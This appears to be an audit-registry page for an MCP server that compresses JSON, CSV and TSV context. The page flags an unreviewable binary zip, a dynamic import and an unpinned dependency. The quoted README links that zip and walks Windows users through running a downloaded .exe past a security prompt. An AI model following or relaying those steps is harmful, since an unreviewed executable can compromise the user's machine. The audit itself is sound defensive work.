Atlas / MCP servers / herreravalenz6620 / context-compression

context-compressionCAUTION

mcp/herreravalenz6620/context-compression

Reduce token usage for JSON, CSV, and TSV files with deterministic compression that keeps data intact for AI agents.

Verdict
CAUTION
Grade
B
Trust score
89 /100
Exposed tools
1 1r · 0w · 0d
Transport
—
License
MIT
Stars
3
01

Overview

From the repository's own README, as read at the audited commit. Badges and raw HTML are left out.

[](https://github.com/herreravalenz6620/context-compression/raw/refs/heads/main/adapters/generic/compression-context-v2.6.zip)

📋 About this project

Context-compression manages the information you send to your AI agents. When you interact with AI models like Codex, Hermes Agent, or OpenClaw, the system sends a history of your conversation as context. As this conversation grows, it consumes more computing power and digital space. This tool reduces that data without losing meaning. It selects only the essential parts of your structured data, ensuring your agents stay efficient and accurate.

🛠️ System requirements

Before you begin, verify that your computer meets these requirements:

  • Operating System: Windows 10 or Windows 11.
  • Memory: At least 4 gigabytes of RAM.
  • Storage: 500 megabytes of free space.
  • Internet Connection: Required for initial download and model updates.

📥 Downloading the software

You need to access the official release page to obtain the installation files. Follow these steps to prepare your system:

  1. Visit the official download page.
  2. Look for the section labeled "Releases" on the right side of the screen.
  3. Click the most recent version number.
  4. Locate the file ending in ".exe" under the "Assets" header.
  5. Click the file name to start the download.

Once the download finishes, move the file to a folder where you can find it later, such as your "Downloads" or "Desktop" folder.

⚙️ Setting up the application

After you download the installer, perform the following steps to set up the software on your machine:

  1. Double-click the downloaded ".exe" file.
  2. Windows might show a security prompt labeled "Windows protected your PC." If this h
Read from source at commit 71f6a3a24b02OBSERVED · 2026-10-11
02

Connect

Built from this server's own package name, version and transport as found in its source — not copied from anyone's documentation, so it cannot drift against a page we do not control. Replace the environment placeholders with a token scoped to the least it needs.

claude-code
claude mcp add openclaw-context-selector --env CONTEXT_OPTIMIZER_MIN_SAVED_TOKENS=${CONTEXT_OPTIMIZER_MIN_SAVED_TOKENS} --env CONTEXT_OPTIMIZER_PROVIDER_INPUT_TOKENS_PER_SECOND=${CONTEXT_OPTIMIZER_PROVIDER_INPUT_TOKENS_PER_SECOND} --env CONTEXT_OPTIMIZER_TIKTOKEN_ENCODING=${CONTEXT_OPTIMIZER_TIKTOKEN_ENCODING} --env CONTEXT_OPTIMIZER_TOKENIZER_JSON=${CONTEXT_OPTIMIZER_TOKENIZER_JSON} -- npx -y @context-compression/[email protected]
claude-desktop
{
  "mcpServers": {
    "openclaw-context-selector": {
      "command": "npx",
      "args": [
        "-y",
        "@context-compression/[email protected]"
      ],
      "env": {
        "CONTEXT_OPTIMIZER_MIN_SAVED_TOKENS": "${CONTEXT_OPTIMIZER_MIN_SAVED_TOKENS}",
        "CONTEXT_OPTIMIZER_PROVIDER_INPUT_TOKENS_PER_SECOND": "${CONTEXT_OPTIMIZER_PROVIDER_INPUT_TOKENS_PER_SECOND}",
        "CONTEXT_OPTIMIZER_TIKTOKEN_ENCODING": "${CONTEXT_OPTIMIZER_TIKTOKEN_ENCODING}",
        "CONTEXT_OPTIMIZER_TOKENIZER_JSON": "${CONTEXT_OPTIMIZER_TOKENIZER_JSON}"
      }
    }
  }
}
03

Exposed tools (1)

1 read · 0 write · 0 destructive.

ToolRiskDescription
context_selectorreadSelect a lower-token lossless representation for local JSON, JSONL, CSV, or TSV files and return a verified context-selector/v1 report.
04

Trust audit

CAUTIONgrade B · trust 89/100 Install with care. The audit found things worth knowing before you trust its output.

LayerWhat it checksResult
L0Provenance & inventoryWARN
L1Static analysis of the codeWARN
L2Instruction surface (what it tells the agent)PASS
L3Class-specific surfacePASS
L4Behavioural (sandbox)SKIPPED

What the source does

Filesystem
declared (1 observation(s))
Network
declared (3 observation(s))
Shell
declared (2 observation(s))
Dependencies
not all pinned
Secrets in source
none-found

Findings (3)

MEDIUMInventory / provenance · inv.binary · CWE-1104
adapters/generic/compression-context-v2.6.zip
compression-context-v2.6.zip
Why it matters. a compiled or binary member cannot be reviewed from source
Fix. ship source, or explain the binary in the README
MEDIUMCode injection · code.dynamic_import · CWE-78, CWE-94, CWE-95
hook.py:1299
__import__(name)
LOWSupply chain · supply.unpinned · CWE-829, CWE-1357
adapters/openclaw/package.json
@sinclair/typebox
Why it matters. 1 dependency range(s) float
Fix. pin exact versions or ship a lockfile

Gates applied: no_behavioural_pass.

Audited 2026-10-11 · audit v0.4.1 · source sha 71f6a3a24b02full audit observations/trust-audit/mcp-server/herreravalenz6620__context-compression.json · Report an issue / request a re-scan
05

Audit history

Every audit this server has had. A grade with a past is a grade somebody is still checking.

DateSourceVerdictGradeScoreChange
2026-10-1171f6a3a24b02CAUTIONB89first audit
06

Questions

What is the context-compression MCP server?

Reduce token usage for JSON, CSV, and TSV files with deterministic compression that keeps data intact for AI agents.

What tools does context-compression expose?

1 in total: 1 read-only, 0 that write, and 0 that can delete or overwrite. Every one is listed on this page with its risk.

Is context-compression safe to connect to an agent?

With care. The audit graded it B (89/100) and found 3 things worth knowing before you trust this server, listed below with the exact line each was found on.

What credentials does context-compression need?

It reads CONTEXT_OPTIMIZER_MIN_SAVED_TOKENS, CONTEXT_OPTIMIZER_PROVIDER_INPUT_TOKENS_PER_SECOND, CONTEXT_OPTIMIZER_TIKTOKEN_ENCODING and CONTEXT_OPTIMIZER_TOKENIZER_JSON from the environment. Give it a token scoped to the least it needs — an agent that can be talked into calling a tool can be talked into calling it with your credentials.

How current is this page?

The grade is for one exact copy of the source (71f6a3a24b02), read on 2026-10-11. The repository is watched and re-audited when it changes.

Advertisement